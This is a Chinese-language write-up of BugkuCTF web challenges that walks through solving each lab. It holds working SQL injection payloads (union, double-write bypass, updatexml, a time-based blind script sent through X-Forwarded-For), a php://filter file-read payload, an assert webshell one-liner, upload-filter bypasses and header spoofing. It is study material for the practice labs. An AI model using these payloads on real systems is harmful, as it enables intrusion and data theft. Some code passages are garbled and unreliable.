精华内容
参与话题
问答
  • BUGkuCTF

    2020-06-26 11:49:49
    BUGkuCTF (一)WEB (1)web2 进入环境,首先看源码,在里面直接找到flag [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-97sg5F09-1593143273882)(file:///C:/Users/HP/AppData/Local/...

    BUGkuCTF

    (一)WEB

    (1)web2

    进入环境,首先看源码,在里面直接找到flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-97sg5F09-1593143273882)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image002.gif)]

    (2)计算器

    首先输入数字发现只能输入1个,所以F12去修改源码,将maxlength修改,然后填入正确数字即可出现flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-94rvWj0o-1593143273885)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image004.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ou0ZIKoK-1593143273887)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image006.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6vwcZ12J-1593143273890)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image008.gif)]

    (3)$_get

    看到题目就知道这是对http的请求方法,进入环境分析所给的Php代码,意思为当what=flag时,echo flag{}

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tws75xXF-1593143273893)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image010.gif)]

    所以直接在地址栏添加(?what=flag)或者是抓包修改头提交都可以

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lpQeUUnL-1593143273894)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image012.gif)]

    最后显示出flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Clez75J-1593143273896)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image014.gif)]

    (4)$_post

    看题目和上一道是一样的也是对http的请求方法,但是post不能使用?what=flag这样的方式提交数据,所以使用hackbar进行提交

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmFS6cEl-1593143273897)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image016.gif)]

    (5)矛盾

    发现代码里有is_numeric这个函数不认识,又百度这个函数的具体作用,这个函数的作用是检测输入的是否为数字或者字符串,所以构造payload绕过这个函数num=1e0.1(num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oedJmn5Z-1593143273898)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image018.gif)]

    修改提交显示flag。

    (6)web3

    页面除了弹框就没有其他的东西了,所以直接看源码,然后看见最后一行串字符像加密了,试试解密。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l4DwPGvz-1593143273899)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image020.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rsKOTd38-1593143273900)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image022.gif)]

    发现flag

    (7)域名解析

    题目已经提示了,所以修改本地host文件

    C:\Windows\System32\drivers\etc\hosts

    添加 123.206.87.240 flag.baidu.com

    最后访问flag.baidu.com就爆出flag了

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yo6gK0iW-1593143273904)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image024.gif)]

    (8)你必须让他停下

    进来提示必须让页面停下,页面中的图片一直在刷新,先看源码,发现当有图片出现时源码会显示,所以使用burpsuite抓包,让页面暂停。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JZZhoB9X-1593143273907)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image026.gif)]

    然后发现flag

    *(10)变量1

    代码审计题,代码最后一句有两个KaTeX parse error: Can't use function '$' in math mode at position 22: …变变量,能够改变某一变量的值如$̲args的值是另一个变量的变量…args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。 $_POST [用于接收post提交的数据] $_GET [用于获取url地址栏的参数数据] $_FILES [用于文件就收的处理img 最常见] $_COOKIE [用于获取与setCookie()中的name 值] $_SESSION [用于存储session的值或获取session中的值] $_REQUEST [具有get,post的功能,但比较慢] SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都 $GLOBALS [一个包含了全部变量的全局组合数组] $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它],所以构造出payload(?args=GLOBALS)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mUDPe6Ui-1593143273910)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image028.gif)]

    (11)web5

    输入任何东西都是在看看,所以查看源码发现jother(jsfuck),用F12的控制台提交,显示出flag但是全部要大写

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1BJU5yYl-1593143273912)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image030.gif)]

    “+[]”, //0 “+!![]”, //1 “!![]+!![]”, //2 “!![]+!![]+!![]”, //3 “!![]+!![]+!![]+!![]”, //4 “!![]+!![]+!![]+!![]+!![]”, //5 “!![]+!![]+!![]+!![]+!![]+!![]”, //6 “!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //7 “!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //8

    (12)头等舱

    查看源码什么都没有,所以burpsuite抓包分析,但是也没有内容,放进重发器里面跑找到flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-twNG0VU1-1593143273914)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image032.gif)]

    (13)网站被黑

    首先看源码和抓包都没有东西,分析一下内容和地址webshell,所以可能是有后台,用御剑跑一下。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6oCq7Xbv-1593143273915)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image034.gif)]

    跑出一个shell.php,发现需要登陆,用爆破。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mttiIyyt-1593143273919)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image036.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k8CxKxOD-1593143273920)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image038.gif)]

    (14)管理员系统

    随便输入了信息,ip被禁止访问,然后查看源代码发现有一串加密编码,解密后为test123所以可能是管理员密码,但是Ip无法访问所以修改X-Forwarded-For这个头实现绕过Ip限制。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IZiYhBMT-1593143273921)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image040.gif)]

    (15)web4

    进来就提示查看源代码,发现两串很长的加密编码,然后解密

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhMU1GSo-1593143273922)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image042.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1F4X6ly-1593143273923)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image044.gif)]

    解码后发现这是一串代码。

    在源码中第11行的eval函数将p1和p2还有%35%34%61%61%32拼接。

    function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;

    在代码中发现一句67d709b2b54aa2aa648cf6e87a7114f1=a.value,所以将67d709b2b54aa2aa648cf6e87a7114f1输入登陆框,flag显示出来。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3fZX1lF8-1593143273924)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image046.gif)]

    (16)flag在index里

    文件包含利用漏洞+php协议

    php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;

    原理:利用php://filter协议读取文件

    php://filter/read=convert.base64.encode/resource=index.php

    这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

    payload

    http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    输入构造的payload后,显示很长一串加密字符串

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E13V8s7u-1593143273925)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image048.gif)]

    base64解码后flag出现

    (17)输入密码查看flag

    进来随便输入密码,查看源码,什么都没有直接上burpsuite爆破,而且地址栏里也已经暗示了

    (19)备份是个好习惯

    题目已经指出了备份,所以直接index.php.bak就找到了备份文件,打开备份文件看代码,

    include_once “flag.php”; ini_set(“display_errors”, 0); str=strstr(str = strstr(_SERVER[‘REQUEST_URI’], ‘?’); str=substr(str = substr(str,1); str=strreplace(key,,str = str_replace(‘key’,”,str);这里是关键,能从这里绕过代码限制 parse_str(str);echomd5(str); echo md5(key1); echo md5(key2);if(md5(key2); if(md5(key1) == md5($key2) && $key1 !== $key2){ echo $flag.”取得flag”; } ?>

    整段代码的意思是将get的两个参数中的key替换为空(这里可以用kkeyey绕过),然后对key1,key2的值进行md5加密,并进行比较,

    如果md5加密的值一样而未加密的值不同,就输出flag,所以构造Payload:

    http://123.206.87.240:8002/web16/?kkeyey1[]=123&kkeyey2[]=456

    md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

    *(20)查看成绩单

    (1)直接sqlmap跑,爆出skctf_flag数据库

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NnCdeFHf-1593143273926)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image050.gif)]

    继续报表名

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zAinHAnd-1593143273927)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image052.gif)]

    列名

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u8wCY3ci-1593143273928)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image054.gif)]

    爆出flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kbtESlnQ-1593143273929)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image056.gif)]

    (2)手工注入

    首先判断注入点,看回响,使用order by

    1’ order by 1# 1’ order by 2# 1’ order by 3# 1’ order by 4#1’ order by 5#在5时没有回响,所以字段为4

    然后联合查询union爆数据库

    id=-1’ union select 1,2,3,database()

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yClzAU8y-1593143273930)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image058.gif)]

    id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

    爆出表名

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0yOt8ZJ-1593143273932)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image060.gif)]

    爆出列名

    id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# 要16进制绕过

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jcsUNetc-1593143273933)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image062.gif)]

    爆出flag

    id=-1’ union select 1,2,3,skctf_flag from fl4g#

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3u4MQrue-1593143273934)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image064.gif)]

    *(21)秋名山车神

    这一题需要写脚本

    import requests import re //导入re库,作用是正则表达式 url = ‘http://123.206.87.240:8002/qiumingshan/’ //目标地址 se = requests.session() //保持请求参数 response = se.get(url) response.encoding = ‘UTF-8’ # print(response.text) r = ‘

    (.*)=/?’ result = re.findall(r,response.text) # print(result) num = eval(result[0]) //字符串转代码 # print(num) data = {‘value’: num} response2 = se.post(url, data=data) response2.encoding = 'UTF-8’print(response2.text)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SVqNE2UW-1593143273936)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image066.gif)]

    (22)速度要快点

    这题就有点坑,刚开始看代码没有什么发现,于是去抓包看看,在重发器里发现了flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RwuXGU9w-1593143273937)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image068.gif)]

    用base64解码提交,说flag错误试了很多次都错,所以想到提示需要快点,这flag一直在变,只能写脚本跑

    import requests import base64 url=“http://120.24.86.145:8002/web6/” r=requests.session() headers=r.get(url).headers#因为flag在消息头里 mid=base64.b64decode(headers[‘flag’]) mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的 flag = base64.b64decode(mid.split(’:’)[1])#获得flag:后的值 data={‘margin’:flag} print (r.post(url,data).text)#post方法传上去

    然后得到flag!!!!!!!

    (23)cookie欺骗

    首先看源码,没有可用信息,然后抓包分析也没有可用信息,看到地址栏中有一串加密编码,解密得到keys.txt,将index.php转换成base64,改变地址栏中Line的数值,源码每一次都不一样。

    由此得知需要遍历

    import requests a = 40 for i in range(a): url = ‘http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw=’ % i r = requests.get(url) print r.text

    跑出来的网页源代码

    <?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>

    由源码可知需要将keys.php 转为base64替换原来的index.php 然后将cookie设置为margin=margin,即可得到flag。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GDWXWxED-1593143273938)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image070.gif)]

    (24)never give up

    首先看源码,找到1p.html,将页面修改发现跳转到bugku.com的论坛,然后看跳转后的源码,发现一串加密编码,总共加密3次,第一次用url解码,然后base64,然后又用url解码,解码后发现一串代码

    ";if(!$_GET[‘id’]) { header(‘Location: hello.php?id=1’); exit(); } id=id=_GET[‘id’]; a=a=_GET[‘a’]; b=b=_GET[‘b’]; if(stripos($a,’.’)) { echo ‘no no no no no no no’; return ; } data=@filegetcontents(data = @file_get_contents(a,‘r’); if($data==“bugku is a nice plateform!” and id==0andstrlen(id==0 and strlen(b)>5 and eregi(“111”.substr(b,0,1),"1114")andsubstr(b,0,1),"1114") and substr(b,0,1)!=4) { require(“f4l2a3g.txt”); } else { print “never never never give up !!!”; } ?>

    在代码中发现f412a3g.txt这个文件,访问文件得到flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cK3fh2D1-1593143273940)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image072.gif)]

    (26)过狗一句话

    解题方法是对目录读取,然后根据所给的提示获取flag

    <?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

    要点:scandir()函数、assert代码执行漏洞

    构造payload:?s=print_r(scandir(’./’)) //print_r() 可以打印出复杂类型变量的值(如数组,对象)

    !!!!!!!!flag被人删除!!!!!!!!!

    我还以为是作者恶作剧故意写的!!!!!!!

    *(27)字符?正则?

    进来给的代码

    <?php highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>

    preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。

    trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。

    “/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”

    一。先看最外边的//i,//代表定界符,你限定的条件都在这个定界符里面,i是不区分大小写 二。来看 /key 首先就是得有key这三个字母,不一定是一开始就是key ?id=key 三。 /key.* 这里的.是可以匹配任何字符,所以你随便打个就行,我这里打的a,又因为后边有个 *(匹配前边的字母0次或者多次),所以你可以继续多打几个啊或者不打 ?id=keyltz 四。/key.*key, 继续分析,多加了个key, ?id=keyltzkey,继续往后 /key.*key.{4,7} 代表任意匹配一个字符并且出现4-7次,那就打四个a好了 (这个只要是有4个到7个重复字母就行) ?id=keyltzkeyllll 五。/key.*key.{4,7}key: 加上 key: ?id=keyltzkeyllllkey: 六:/key.*key.{4,7}key:/./ \代表了转义,所以/不在代表了界定符,直接看成/./ 所以/l/即可, ?id=keyltzkeyllllkey:/l/ 七:/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]] (.*key) => akey [a-z]代表随便一个小写字母,a就可以,后边那个是标点符号,比如, ?id=keyltzkeyllllkey:/l/lkeyl, ?id=keyltzkeyllllkey:/l/lkeyl,

    最后构造的payload为:(?id=keyltzkeyllllkey:/l/lkeyl,)

    (28)前女友(skctf)

    根据链接找到代码

    <?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ //strcmp用于比较字符串的函数 echo $flag; } } } ?> /// strcmp() int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等,返回 0。 ///

    分析代码得知,v1和v2两个值不能相等,但是经过md5加密后却要相等,且v3要和flag相等,所以可以可以通过PHP处理0e开头md5时hash字符串漏洞构造【https://blog.csdn.net/dyw_666666/article/details/82348564】

    构造Payload:index.php?v1[]=QLTHNDT&v2[]=UTIPEZQ&v3[]=EEIZDOI

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k31YY8TG-1593143273944)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image074.gif)]

    (29)login

    根据提示得知(约束SQL注入的原理就是利用的约束条件,比如最长只能有15个字符的话,如果你输入的是abcdefghijklmnop(16位),那么保存在数据库里的就是abcdefghijklmno,那么别人用abcdefghijklmno注册一个用户名,就可以登陆。

    1、sql处理字符串时(一般是在比较字符串时),会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。

    也就是说,"admin"和"admin "是等效的。因此,用where id="admin"查询和用where id="admin "查询的结果相同。

    2、SQL中varchar(n)用于限制最大长度,若字符串长度大于n,则只截取前n个字符。如果用varchar(5)限制了insert查询的最大长度,则插入"admin"和"admin “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息。

    因此,可以利用这个漏洞来绕过。)

    方法:若注册时已知admin这个用户名存在,则我们可以注册admin这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。

    (30)你从哪里来

    页面显示are you from google,所以伪造从google访问过来的就可以得到flag,需要修改 Referer。

    HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer, 告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候, 一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。 比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWLGDum7-1593143273945)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image076.gif)]

    (31)md5 collision

    打开网页提示input a 所以在地址输入?a,页面返回false,改为其他的则显示please input a,又试了试?a=1、a=2都返回false,且根据题目名字判断这题是MD5碰撞,所以随便找到常用的碰撞md5值就获得了flag。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QWS2Lr8K-1593143273949)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image078.gif)]

    (32)程序员本地网站

    根据提示,所以本题只需要修改http头为本地Ip就可获得flag

    开启burpsuite,然后修改X-Forwarded-For:127.0.0.1

    X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5VPCLhKi-1593143273951)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image080.gif)]

    (33)各种绕过

    sha1碰撞?

    <?phphighlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'}?>

    判断 uname 和 passwd 是否相等 之后 判断 sha1 加密过的 uname 和 pass 是否相等以及 id 是否等于 margin

    1. get方式提交uname 和 id 值 ,post方式提交passwd值2. uname和passwd的哈希值相同3. id == “margin”解决1 get和post提交,方式1:火狐的HackBar,方式:python程序 。。。2 把uname和passwd定义成数组,数组的哈希值相同3 url传入时,令id=margin

    使用hackbar

    构造Payload: ?unmae[]=a&id[]=margin post data:passwd[]=b

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VIxEPuaZ-1593143273952)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image082.gif)]

    (35)web8

    页面提示txt,访问flag.txt,出现内容flags

    <?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "

    This is flag:" ." $flag

    "; } else { echo "

    sorry!

    "; } } ?>

    分析代码,有两个变量&ac和&fn

    file_get_contents(fn)filegetcontentsfn):file_get_contents功能是从文件名为“fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值

    又根据提示页面的flags,所以可以使acflagsac值为flags,fn值为flag.txt,使acac和f相等

    然后构造payload: ?ac=flags&fn=flag.txt

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DqnxdxTk-1593143273954)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image084.gif)]

    (36)细心

    首先看提示,变成admin,然后在robots.txt中找到一串代码

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guQz3S5e-1593143273955)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image086.gif)]

    根据提示admin,构造Payload:?x=admin

    (37)求getshell

    后缀黑名单检测和类型检测

    根据大佬的提示这题需要绕过三个地方

    1、请求头部的 Content-Type:大小写绕过

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v9djMtSf-1593143273956)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image088.gif)]

    2、文件名后缀绕过:php5

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3BlS7yH4-1593143273957)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image090.gif)]

    3、请求数据的Content-Type:image/png

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IPKiLa3m-1593143273959)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image092.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yw0dnlqE-1593143273961)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image094.gif)]

    *(38)insert into注入

    题目给出了源码,

    时间盲注,XXF,insert into 注入

    error_reporting(0); function getIp(){ip=;if(isset(ip = '';if(isset(_SERVER[‘HTTP_X_FORWARDED_FOR’])){$ip = KaTeX parse error: Double subscript at position 16: _SERVER['HTTP_X_̲FORWARDED_FOR']…ip = KaTeX parse error: Expected 'EOF', got '}' at position 24: …'REMOTE_ADDR'];}̲ip_arr = explode(’,’, $ip);return KaTeX parse error: Expected 'EOF', got '}' at position 11: ip_arr[0];}̲host=“localhost”;user="";user="";pass="";db="";db="";connect = mysql_connect($host, $user, pass)ordie("Unabletoconnect");mysqlselectdb(pass) or die("Unable to connect");mysql_select_db(db) or die(“Unable to select database”);ip=getIp();echoyouripis:.ip = getIp();echo 'your ip is :'.ip;sql="insertintoclientip(ip)values(sql="insert into client_ip (ip) values ('ip’)";

    注入点为http头的X-Forwaded-For,但是这里的逗号被过滤,在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的是

    select case when (条件) then 代码1 else 代码 2 end;

    而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终payload为:

    127.0.0.1’+(select case when substr((select flag from flag) from 1 for 1)=‘a’ then sleep(5) else 0 end))– +

    python脚本来跑flag:

    import requests import sys # 基于时间的盲注,过滤了逗号 , sql = “127.0.0.1’+(select case when substr((select flag from flag) from {0} for 1)=’{1}’ then sleep(5) else 0 end))-- +” url = ‘http://123.206.87.240:8002/web15/’ flag = ‘’ for i in range(1, 40): print(‘正在猜测:’, str(i)) for ch in range(32, 129): if ch == 128: sys.exit(0) sqli = sql.format(i, chr(ch)) # print(sqli) header = { ‘X-Forwarded-For’: sqli } try: html = requests.get(url, headers=header, timeout=3) except: flag += chr(ch) print(flag) break

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mX0VmVOH-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image096.gif)]

    最后几个猜测出的都是同一个,所以flag出来了

    *(40)多次

    要点:SQL注入绕过、双写绕过、报错注入

    进入页面地址栏中有id=1,所以试了6个数,在第5个给出提示使用注入。

    判断是否存在注入:id=1后面加单引号会报错,后面加–+注释返回正常,确定存在SQL注入

    ?id=1’or 1=1–+ 也报错,可能存在过滤,尝试双写绕过,?id=1’oorr 1=1–+ 返回正常

    然后测试有什么被过滤,get一个新技能(异或注入,两个条件相同(同真或同假)即为假)

    ?id=1’^(length(‘union’)!=0)–+

    如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了

    同理测试出被过滤的字符串有:and,or,union,select

    都用双写来绕过,payload如下:

    ?id=-1’ ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+

    爆表

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pqjgbj7N-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image098.gif)]

    爆字段

    ?id=-1’ ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag1’–+

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K7yRNo7N-1593143273963)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image100.gif)]

    爆数据

    http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1–+

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H57LpjuT-1593143273964)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image102.gif)]

    这里提交不对,所以换个字段继续爆,然后进入下一关

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PLKsVrcy-1593143273965)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image104.gif)]

    根据大佬提示这里利用 updatexml() 函数报错注入

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值

    改变XML_document中符合XPATH_string的值

    而我们的注入语句为:

    updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

    其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

    ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

    所以构造payload:

